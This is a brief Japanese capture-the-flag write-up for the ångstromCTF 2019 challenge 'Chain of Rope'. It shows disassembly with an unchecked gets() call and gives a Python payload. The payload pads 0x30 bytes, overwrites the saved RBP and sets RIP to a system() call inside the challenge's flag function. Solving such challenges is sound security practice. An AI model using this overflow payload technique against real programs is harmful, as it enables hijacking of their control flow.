## ångstromCTF 2019 -「Chain of Rope (80pts)」之解き方
### 解析getsによってバッファーオーバーフローが可能。```401348:	48 8d 45 d0          	lea    rax,[rbp-0x30]40134c:	48 89 c7             	mov    rdi,rax40134f:	b8 00 00 00 00       	mov    eax,0x0401354:	e8 17 fd ff ff       	call   401070 <gets@plt>```書込み先から`0x30`バイト超えて、RBPとRIPを奪えられます。
戻り先を考えればflag関数の真ん中でのsystem呼び出しがいいのでしょう。```401231:	48 8d 3d 2f 0e 00 00 	lea    rdi,[rip+0xe2f]        # 402067 <_IO_stdin_used+0x67>401238:	e8 13 fe ff ff       	call   401050 <system@plt>```
### エクスプロイト```pythonpayload = "1\n"                                # メニュー選択payload += "a" * 0x30                          # パッディングpayload += "\x00\x00\x00\x00\x00\x00\x00\x00"  # $rbppayload += "\x31\x12\x40\x00\x00\x00\x00\x00"  # $rip (system呼び出し)print(payload)```
結局ROPを使わずに解いてしまいました。